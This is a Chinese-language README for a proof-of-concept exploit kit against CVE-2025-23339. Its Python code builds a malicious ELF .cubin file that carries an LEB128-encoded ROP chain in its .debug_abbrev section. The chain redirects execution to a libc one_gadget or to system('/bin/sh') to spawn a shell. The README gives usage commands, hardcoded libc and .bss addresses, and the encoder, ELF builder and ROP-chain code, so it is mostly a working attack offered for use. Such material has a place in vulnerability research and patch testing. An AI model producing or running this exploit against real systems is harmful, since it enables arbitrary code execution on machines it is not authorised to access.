CVE-2025-23339 漏洞利用工具包
本项目是针对编号为 CVE-2025-23339 漏洞的概念验证(PoC)利用代码。它通过构造恶意的 .cubin 文件,在目标程序中实现任意代码执行,最终获取 shell。该工具包展示了高级的 ROP(返回导向编程)链构造技巧,并针对不同的利用约束(如 one_gadget 条件)提供了多种攻击向量。
功能特性
- 多版本利用策略:包含三种不同的利用脚本,分别尝试使用
system函数和多种one_gadget来满足不同的利用条件。 - 精准的 ROP 链构造:通过精心构造的 ROP 链,控制关键寄存器(如
rbx,rbp,r12),以满足 one_gadget 的执行要求。 - ELF 文件生成器:包含
build_cubin函数,能将构造的 payload 打包成一个结构完整的 ELF 格式文件(.cubin),这是触发漏洞的媒介。 - LEB128 编码:使用
encode_leb128函数对 payload 中的数值进行编码,这是与漏洞交互的关键数据格式。 - 灵活的参数配置:支持通过命令行参数指定输出文件名、one_gadget 索引、
/bin/sh字符串地址以及 ROP 链的迭代次数,便于调试和适配不同环境。
安装指南
该工具包是纯 Python 脚本,无需编译。使用前请确保系统满足以下要求:
- 系统要求:Linux 环境(利用代码基于 Linux 内存布局和 libc 地址)。
- Python 版本:Python 3.6 或更高版本。
- 依赖项:无需安装额外 Python 包,仅使用标准库
struct和sys。
下载本项目中的所有 .py 文件到本地目录即可。
使用说明
基础使用示例
以下命令将使用默认配置生成名为 exploit.cubin 的恶意文件。
# 使用第一个利用脚本(尝试使用 one_gadget)
python3 cve-2025-23339_exploit_v1.py
# 使用第二个利用脚本(尝试使用 system)
python3 cve-2025-23339_exploit_v2.py exploit.cubin 0x7ffff7dcb42f
# 使用第三个利用脚本(尝试使用另一个 one_gadget)
python3 cve-2025-23339_exploit_v3.py my_exploit.cubin
典型使用场景
-
初步尝试(使用 one_gadget): 运行
cve-2025-23339_exploit_v1.py生成exploit.cubin。将该文件喂给存在 CVE-2025-23339 漏洞的程序。如果 one_gadget 的约束条件(如rax == NULL)恰好满足,则可直接获得 shell。python3 cve-2025-23339_exploit_v1.py ./vulnerable_program exploit.cubin -
备用方案(使用 system 函数): 如果 one_gadget 失败,可以尝试使用
cve-2025-23339_exploit_v2.py。此脚本尝试调用system('/bin/sh'),通常需要知道libc中system函数的地址和一个pop rdi; ret的 gadget 地址。# 需要根据目标环境调整 binsh 地址和 total_iters python3 cve-2025-23339_exploit_v2.py exploit2.cubin 0x7ffff7dcb42f 0x108 -
调试 one_gadget 约束:
cve-2025-23339_exploit_v3.py针对特定 one_gadget (0xef4ce) 进行了优化,通过将rbx和r12指向可写的.bss段,来绕过某些约束。python3 cve-2025-23339_exploit_v3.py exploit3.cubin
核心函数概览
encode_leb128(value):将整数编码为 LEB128 格式的字节串。build_cubin(content):接收 payload 字节串,将其嵌入到一个合法的 ELF 文件结构中,最终输出一个完整的.cubin文件。build_payload(entries)/build_payload(rop, total_iters):根据提供的 ROP 链条目或地址列表,构建最终的 payload 主体。
核心代码
1. LEB128 编码与 Payload 构建
这是所有利用脚本的基础,负责将攻击者控制的数值转换为漏洞解析器能够理解的格式。
# 代码片段来自 cve-2025-23339_exploit_v1.py
def encode_leb128(value):
"""将整数编码为LEB128格式。"""
result = []
while True:
byte = value & 0x7f # 取低7位
value >>= 7
if value != 0: # 如果还有更高位,设置延续位
byte |= 0x80
result.append(byte)
if value == 0:
break
return bytes(result)
def build_payload(entries):
"""构建最终的payload,包含头部和经过编码的ROP链条目。"""
p = bytearray()
# 固定的payload头部
p += encode_leb128(4) + encode_leb128(0x33) + bytes([1])
# 将每个ROP条目(低32位,高32位)进行LEB128编码并追加
for low, high in entries:
p += encode_leb128(low)
p += encode_leb128(high)
p += bytes([0, 0, 0]) # payload结束符
return bytes(p)
2. ELF 文件生成器
此函数将简单的 payload 包装成一个复杂的、结构完整的 ELF 文件,使其能够被目标程序正常解析和处理。
# 代码片段来自 cve-2025-23339_exploit_v1.py
def build_cubin(content):
"""将payload包装在一个ELF .cubin文件的壳中。"""
# 定义必要的ELF section字符串表
strtab = b'\x00.shstrtab\x00.debug_abbrev\x00'
ehdr_size, shnum = 64, 3 # ELF头大小,3个section
shoff = ehdr_size
strtab_off = shoff + shnum * 64
debug_off = strtab_off + len(strtab)
pad = (4 - (debug_off % 4)) % 4
debug_off += pad
# --- 构造ELF头部 (ehdr) ---
elf = bytearray(64)
elf[0:4] = b'\x7fELF' # ELF魔数
elf[4:8] = bytes([2, 1, 1, 7]) # 64位,小端,ELF版本1,系统V ABI
struct.pack_into('<H', elf, 16, 0x3142) # e_type, e_machine
# ... (省略其他头部字段设置) ...
struct.pack_into('<Q', elf, 40, shoff) # e_shoff: section头表的偏移
struct.pack_into('<H', elf, 60, shnum) # e_shnum: section头表条目数
# --- 构造空的section头 (sh_null) 和 .shstrtab 的section头 (sh_str) ---
sh_null = bytes(64)
sh_str = bytearray(64)
struct.pack_into('<I', sh_str, 0, 1) # sh_name: 字符串名在.shstrtab中的偏移
struct.pack_into('<I', sh_str, 4, 3) # sh_type: SHT_STRTAB
struct.pack_into('<Q', sh_str, 24, strtab_off) # sh_offset
struct.pack_into('<Q', sh_str, 32, len(strtab)) # sh_size
# --- 构造 .debug_abbrev 的section头 (sh_dbg),我们的payload将存放在这里 ---
sh_dbg = bytearray(64)
struct.pack_into('<I', sh_dbg, 0, 11) # sh_name
struct.pack_into('<I', sh_dbg, 4, 1) # sh_type: SHT_PROGBITS
struct.pack_into('<Q', sh_dbg, 24, debug_off) # sh_offset: 存放content的起始位置
struct.pack_into('<Q', sh_dbg, 32, len(content)) # sh_size: content的大小
struct.pack_into('<Q', sh_dbg, 48, 4) # sh_addralign
# 将所有部分拼接起来:ELF头 + section头表 + 字符串表 + 填充 + payload
return bytes(elf + sh_null + sh_str + sh_dbg + strtab + bytes(pad) + content)
3. ROP 链构造逻辑 (针对 one_gadget)
以下代码展示了如何通过填充和 ROP 条目来控制寄存器,以满足 one_gadget execve("/bin/sh", rbp-0x50, r12) 的约束条件。
# 代码片段来自 cve-2025-23339_exploit_v3.py
# ... (前面的encode和build函数同上) ...
libc_base = 0x7ffff7c00000
# 选定的one_gadget: execve("/bin/sh", rbp-0x50, r12)
# 约束: rbp-0x48可写, rbx == NULL, r12 == NULL
one_gadget = libc_base + 0xef4ce
# 目标程序中已知的可写内存区域(.bss段)
bss = 0x68a000
entries = []
# 1. Padding: 使用(1,1)填充,避免使用0值(0值可能导致LEB128解析提前结束)
for i in range(0x101):
entries.append((1, 1))
# 2. 控制 rbx (需为NULL)。将其指向.bss段,希望.bss起始处包含NULL
entries.append((bss, 0))
# 3. 控制 rbp。令 rbp = bss + 0x100,这样 rbp-0x48 仍在.bss范围内,确保可写
entries.append((bss + 0x100, 0))
# 4. 控制 r12 (需为NULL)。同样指向.bss
entries.append((bss, 0))
# 5. 控制 r13, r14, r15 (不影响one_gadget执行)
entries.append((1, 0))
entries.append((1, 0))
entries.append((1, 0))
# 6. 劫持返回地址到 one_gadget
entries.append((one_gadget & 0xFFFFFFFF, one_gadget >> 32))
# ... (构建payload并写入文件) ...
```FINISHED
6HFtX5dABrKlqXeO5PUv/xo0sx0hI95NyErW+TRLtiQL5qIb/8dA7An444hRmo86